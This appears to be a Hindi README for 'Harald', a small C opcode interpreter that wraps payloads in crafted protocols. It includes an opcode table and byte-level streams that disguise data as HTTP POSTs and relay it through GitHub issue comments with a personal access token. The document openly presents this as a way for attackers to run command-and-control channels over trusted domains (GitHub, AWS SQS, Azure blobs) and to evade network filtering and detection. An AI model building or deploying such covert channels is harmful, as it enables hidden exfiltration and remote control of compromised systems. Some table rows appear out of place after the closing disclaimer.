
एज्नोस्टिक ऑन-द-फ्लाई प्रोटोकॉल निर्माण के लिए इन-मेमोरी न्यूनतम CPU
Harald एक इन-मेमोरी छोटा हाई-लेवल CPU है, जो निर्देशों के एक सेट को प्रोसेस करके किसी दिए गए नेटवर्क प्रोटोकॉल (TCP/UDP) पर उपयोग किए जाने वाले एप्लिकेशन-लेयर प्रोटोकॉल उत्पन्न करने में सक्षम है।
Harald OPCODES की एक स्ट्रीम को उपभोग करेगा और पेलोड पर विभिन्न रूपांतरण लागू करेगा ताकि यह परिभाषित एप्लिकेशन-लेयर प्रोटोकॉल के लिए उपयुक्त हो सके।
[!TIP] Harald क्यों? आप डेनमार्क के राजा Harald Gormsson को उनके उपनाम से जानते होंगे: Blátǫnn, या जैसा हम आज इसे उच्चारित करते हैं, Bluetooth। इस तकनीक का नाम Harald के उपनाम पर रखा गया था क्योंकि उन्होंने उस समय डेनिश और वाइकिंग साम्राज्यों को जोड़ा था। इसलिए मैं इसे उनके पहले नाम पर नाम दे रहा हूँ।
Harald एक CPU की तरह व्यवहार करता है। यह OPCODES के एक सेट का पालन करता है जो क्रियाओं को परिभाषित करते हैं। एक PROTOCOL। Harald आवश्यक प्रोटोकॉल को तुरंत बनाने के लिए आवश्यक ऑपरेशनों को प्रोसेस करेगा।
एक बार PROTOCOL प्रदान किए जाने के बाद, Harald भेजे जाने वाले PAYLOAD पर पुनरावृत्ति करेगा, प्रत्येक फ्रैगमेंट के लिए पूरे PROTOCOL को एक बार पार करते हुए। अर्थात्: यदि पेलोड को कई फ्रैगमेंट में विभाजित करना पड़ा, तो Harald प्रत्येक फ्रैगमेंट के लिए समान प्रोटोकॉल का उपयोग करेगा, वर्तमान पेलोड फ्रैगमेंट के विरुद्ध प्रोटोकॉल में परिभाषित प्रत्येक क्रिया को निष्पादित करते हुए।
Harald मानों को संग्रहीत करने के लिए प्रोटोकॉल द्वारा उपयोग किए जाने वाले कई रजिस्ट्रियाँ रखता है। इन रजिस्ट्रियों का उपयोग कई ऑपरेशन करने के लिए किया जा सकता है, जैसे जोड़, घटाव, एन्कोडिंग और डिकोडिंग... आदि।
Harald गतिशील रूप से परिणामों की एक सरणी आवंटित करता है जहाँ प्रोटोकॉल पेलोड फ्रैगमेंट भेजने पर की गई प्रत्येक अनुरोध की प्रतिक्रियाओं को संग्रहीत कर सकता है।

Harald एक प्रोटोकॉल के रूप में प्रदान किए जाने वाले विभिन्न प्रकार के Opcodes का समर्थन करता है। Harald किसी दिए गए Opcode को प्राप्त करने पर उच्च-स्तरीय ऑपरेशनों का एक सेट निष्पादित करेगा। प्रत्येक Opcode एक पूर्वनिर्धारित लंबाई के साथ तर्कों के एक पूर्वनिर्धारित सेट की अपेक्षा करता है।
| OPCODE::Nº | Description | ARGS::Size |
|---|---|---|
| H_F_APPEND::0x01 | Appends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_PREPEND::0x02 | Prepends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_SPLIT::0x03 | Splits the Payload in fragments of the given size | Size::4 |
| H_F_PAYLOAD_INJECT::0x04 | Injects the Payload fragment into the End Payload | - |
| H_F_SOCK_INIT::0x05 | Initializes the socket connection | IsIPAddress:1, SSL_Enabled::1, TCP/UDP::1, [(HostLen::4,HostName:N)/IPAddress::4], Port::2 |
| H_F_SEND::0x06 | Sends the constructed End Payload | - |
| H_F_RECV::0x07 | Receives up to N Bytes | Size::4 |
| H_F_CLOSE::0x08 | Closes the socket and cleans | - |
| H_F_INJECT::0x09 | Injects the requested registry into the End Payload | Reg::1 |
| H_F_ENCODE_STR::0x0A | Encodes a Payload field to its string representation | IsReg::1, [(Payload::1, Field::1)/Reg::1], Format::1 |
| H_F_DECODE_STR::0xA0 | Decodes the contents of a registry to its numeric representation | Reg::1 |
| H_F_ENCODE_STRB64::0x0B | Encodes a Payload field to its B64string representation | Payload::1, Field::1 |
| H_F_COMPUTE_FRAG_LENGTH::0x0D | Calculates the next fragment to be sent length | - |
| H_F_SEARCH::0x0E | Searches for a given byte pattern of a given N size in a given registry | Reg::1, Size::4, NBytes::N |
| H_F_SEEK::0x0F | Moves the cursor in a given payload by a given number of bytes | Payload::1, Offset::4 |
| H_F_PUSH::0x10 | Pushes a number of bytes or the contents of a registry into another registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_ADD::0x12 | Adds two registries or a number to a registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
निम्नलिखित Opcode स्ट्रीम संचार को HTTP के रूप में समझे जाने के लिए भेजे जाने वाले आवश्यक डेटा को उत्पन्न करेगी। यह आरंभ करेगी, पेलोड को HTTP ट्रैफ़िक जैसा दिखने के लिए संशोधित करेगी, इसे SSL/TLS कनेक्शन पर भेजेगी, और अंत में कनेक्शन बंद करेगी।
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF, // Splits the Payload
H_F_APPEND, 0x00, 0x00, 0x00, 0x46, // Appends...
'P', 'O', 'S', 'T', ' ', '/', ' ', // POST /
'H', 'T', 'T', 'P', '/', '1', '.', '1', '\r', '\n', // HTTP/1.1
'H', 'o', 's', 't', ':', ' ', // Host:
'd', 'o', 'm', 'a', 'i', 'n', '.', 'c', 'o', 'm', '\r', '\n', // domain.com
'C', 'o', 'n', 'n', 'e', 'c', 't', 'i', 'o', 'n', ':', ' ', // Connection:
'c', 'l', 'o', 's', 'e', '\r', '\n', // close
'C', 'o', 'n', 't', 'e', 'n', 't', '-', // Content-
'L', 'e', 'n', 'g', 't', 'h', ':', ' ', // Length:
H_F_COMPUTE_FRAG_LENGTH, // Next Fragment's size
H_F_ENCODE_STR, H_PAY_END_PAYLOAD, H_PAY_FRAGMENT_SIZE, 'u', // FragSize encode
H_F_INJECT, H_REG_RET, // Inject the Fragment Size encoded str
H_F_APPEND, 0x00, 0x00, 0x00, 0x04, '\r', '\n', '\r', '\n', // Append Body begin
H_F_PAYLOAD_INJECT, // Inject the Payload
H_F_SOCK_INIT, 0x01, 0x01, 0x7F, 0x00, 0x00, 0x01, 0x04, 0xD2, // Init Socket
H_F_SEND, // Send the Payload over the socket
H_F_CLOSE // Close the socket and cleanup
निम्नलिखित उदाहरण पिछले वाले की समान प्रक्रियाओं का पालन करता है। हालाँकि, पेलोड को केवल बॉडी के रूप में भेजने के बजाय, प्रोटोकॉल Harald को कुछ हेडर सेट करने और बॉडी को इस तरह संरचित करने का निर्देश देगा ताकि यह एक निजी रिपॉजिटरी के इश्यू में टिप्पणियाँ प्रकाशित करने के लिए GitHub API के साथ संचार कर सके।
इस प्रकार का संचार एक हमलावर को *.github.com जैसे विश्वसनीय डोमेन का उपयोग करके C2 सर्वर के साथ एक संचार चैनल बनाने में मदद कर सकता है। यही उदाहरण AWS संसाधनों (जैसे sqs..amazonaws.com के अंतर्गत SQS कतारें), Azure संसाधनों (जैसे <storage_account_name>.blob.core.windows.net के अंतर्गत blobs) आदि का उपयोग करने के लिए विस्तारित किया जा सकता है।
यह उदाहरण उन संचारों के लिए एक अच्छा संदर्भ है जिनके लिए STRUCTURED_FORMAT (JSON) + APPLICATION-LAYER_PROTOL (HTTPS) + PROTOCOL (TCP) की आवश्यकता होती है।
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF,
H_F_APPEND, 0x00, 0x00, 0x01, 0x85, 'P','O','S','T',' ',
'/','r','e','p','o','s','/','YOUR_GH_USER','/','YOUR_GH_REPO',
'/','i','s','s','u','e','s','/','ISSUE_NUMBER',
'/','c','o','m','m','e','n','t','s',' ',
'H','T','T','P','/','1','.','1','\r','\n', 'H','o','s','t',':','
','a','p','i','.','g','i','t','h','u','b','.','c','o','m','\r','\n',
'A','u','t','h','o','r','i','z','a','t','i','o','n',':',' '
,'B','e','a','r','e','r',' ','g','i','t','h','u','b','_','p','a','t','_',
'YOUR_GH_PAT','\r','\n',
'X','-','G','i','t','H','u','b','-',
'A','p','i','-','V','e','r','s','i','o','n',':','
', '2','0','2','2','-','1','1','-','2','8','\r','\n',
'U','s','e','r','-','A','g','e','n','t',':','
','H','a','r','a','l','d','/','0','.','1','b','\r','\n',
'A','c','c','e','p','t',':','
','a','p','p','l','i','c','a','t','i','o','n','/',
'v','n','d','.','g','i','t','h','u','b','+','j','s','o','n','\r','\n',
'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',
'a','p','p','l','i','c','a','t','i','o','n','/',
'x','-','w','w','w','-','f','o','r','m','-',
'u','r','l','e','n','c','o','d','e','d','\r','\n',
'C','o','n','n','e','c','t','i','o','n',':','
','c','l','o','s','e','\r','\n',
'C','o','n','t','e','n','t','-','L','e','n','g','t','h',':',' ',
H_F_COMPUTE_FRAG_LENGTH,
H_F_ADD, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0B, H_REG_RET,
H_F_ENCODE_STR, 0x01, H_REG_RET, 'u',
H_F_INJECT, H_REG_RET,
H_F_APPEND, 0x00, 0x00, 0x00, 0x0D, '\r', '\n', '\r', '\n', '{', '"', 'b',
'o', 'd', 'y', '"', ':', '"',
H_F_PAYLOAD_INJECT,
H_F_APPEND, 0x00, 0x00, 0x00, 0x02, '"', '}',
H_F_SOCK_INIT, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x0F,
'a', 'p', 'i', '.',
'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm', '\0', 0x01, 0xBB,
H_F_SEND,
H_F_CLOSE
इसे बनाने के लिए आपको एक कंपाइलर की आवश्यकता होगी। जैसे GCC, Clang, या Microsoft का CL। साथ ही, कुछ लाइब्रेरी निर्भरताएँ हैं:
LibSSL और pkg-config इंस्टॉल करें:
sudo apt install libssl-dev pkg-config
brew के माध्यम से OpenSSL इंस्टॉल करें या इसे स्वयं बनाएँ और कॉन्फ़िगर करें।
brew install openssl
OpenSSL को उनके किसी भी लिंक किए गए वितरकों से प्राप्त करें या इसे स्वयं बनाएँ और कॉन्फ़िगर करें।
रिपॉजिटरी में लाइब्रेरी और कुछ टेस्ट बाइनरी बनाने के लिए एक Makefile है।
Harald लाइब्रेरी बनाने के लिए, चलाएँ:
make lib
यह आपके प्लेटफ़ॉर्म के आधार पर एक साझा लाइब्रेरी libharald.so, libharald.dll, या libharald.dylib बनाएगा।
टेस्ट बाइनरी बनाने के लिए, चलाएँ:
make test
यह दो बाइनरी बनाएगा: test_harald और test_harald_gh (आपके प्लेटफ़ॉर्म के आधार पर उनके संबंधित एक्सटेंशन के साथ)।
Harald की कार्यक्षमताओं का परीक्षण करने के लिए, प्रदान किए गए सर्वर socket_server_test.py और https_server_test.py चलाएँ। ये क्रमशः एक सॉकेट और HTTPS सर्वर बनाएँगे जिनका उपयोग टेस्ट बाइनरी द्वारा किया जाएगा।
Note: आपको अपने
LD_LIBRARY_PATHको वर्तमान फ़ोल्डर पर सेट करने की आवश्यकता हो सकती है:LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. ./test_harald
HTTPS संचार के लिए आपको एक SSL/TLS प्रमाणपत्र बनाने की आवश्यकता होगी (स्व-हस्ताक्षरित ठीक है)। आप निम्नलिखित कमांड का उपयोग करके OpenSSL के साथ एक बना सकते हैं:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
एक बार सर्वर चालू हो जाने के बाद, test_harald बाइनरी निष्पादित करें:
./test_harald
बाइनरी को प्रदान किए गए सर्वर से कनेक्ट होना चाहिए और प्रोटोकॉल में निर्दिष्ट पूर्वनिर्धारित डेटा पेलोड भेजना चाहिए।
GitHub API कार्यक्षमताओं का परीक्षण करने के लिए, test_harald_gh बाइनरी चलाने से पहले कुछ तैयारियाँ की जानी चाहिए।
एक रिपॉजिटरी और एक इश्यू बनाएँ।
test_harald_gh.c फ़ाइल में एक सरल उदाहरण है कि इश्यू में टिप्पणियाँ बनाने के लिए GitHub API के साथ इंटरैक्ट करने के लिए Harald का उपयोग कैसे करें। इसके लिए आपके पास GitHub के लिए एक एक्सेस टोकन होना चाहिए, जिसे आपकी GitHub खाता सेटिंग्स में Developer settings -> Personal access tokens -> Fine-grained tokens के अंतर्गत प्राप्त किया जा सकता है। टोकन को केवल नई बनाई गई रिपॉजिटरी तक पहुँच और Read access to metadata और Read and Write access to issues and pull requests अनुमतियों तक सीमित करने की सिफारिश की जाती है।
ठीक से चलाने के लिए, आपको निम्नलिखित के लिए प्लेसहोल्डर मानों को संशोधित करना होगा:
YOUR_GH_USER: आपका GitHub उपयोगकर्ता नाम।ISSUE_NUMBER: उस रिपॉजिटरी पर इश्यू नंबर जिसके साथ आप इंटरैक्ट करना चाहते हैं (उदा., रेपो में पहले इश्यू के लिए "1")।YOUR_GH_REPO: उस रिपॉजिटरी का नाम जिसके साथ आप इंटरैक्ट करना चाहते हैं (उदा., "harald")।YOUR_GH_PAT: आपका GitHub एक्सेस टोकन।एक बार हो जाने के बाद, सुनिश्चित करें कि भेजे जाने वाले पेलोड का आकार आपकी आवश्यकताओं से मेल खाने के लिए अपडेट किया गया है!
test_harald_gh.c#L9 पर, H_F_APPEND opcode का चौथा पैरामीटर पेलोड के आकार को दर्शाता है। जब आप पेलोड संरचना को संशोधित करते हैं तो आपको इस मान को तदनुसार अपडेट करना होगा।
टेस्ट बाइनरी बनाएँ और इसे चलाएँ:
./test_harald_gh
यह प्रदान किए गए इश्यू में एक टिप्पणी बनाएगा।
इस रिपॉजिटरी में निहित स्रोत कोड का उपयोग नेटवर्क फ़िल्टरिंग से बचने और सुरक्षा उपकरणों द्वारा पहचान के जोखिम को कम करने के लिए किया जा सकता है। इस स्रोत कोड का उपयोग करने से पहले, कृपया सुनिश्चित करें कि आपका उपयोग आपके क्षेत्राधिकार में सभी लागू कानूनों का अनुपालन करता है।
| H_F_SUBSTRACT::0x13 |
| Substracts two registries or a number to a registry |
| IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_READ::0x14 | Reads from a given registry up to the length stored in another registry | FromReg::1, SizeReg::1 |
| H_F_STORE::0x15 | Stores a registry value into Harald's Storage | Reg::1 |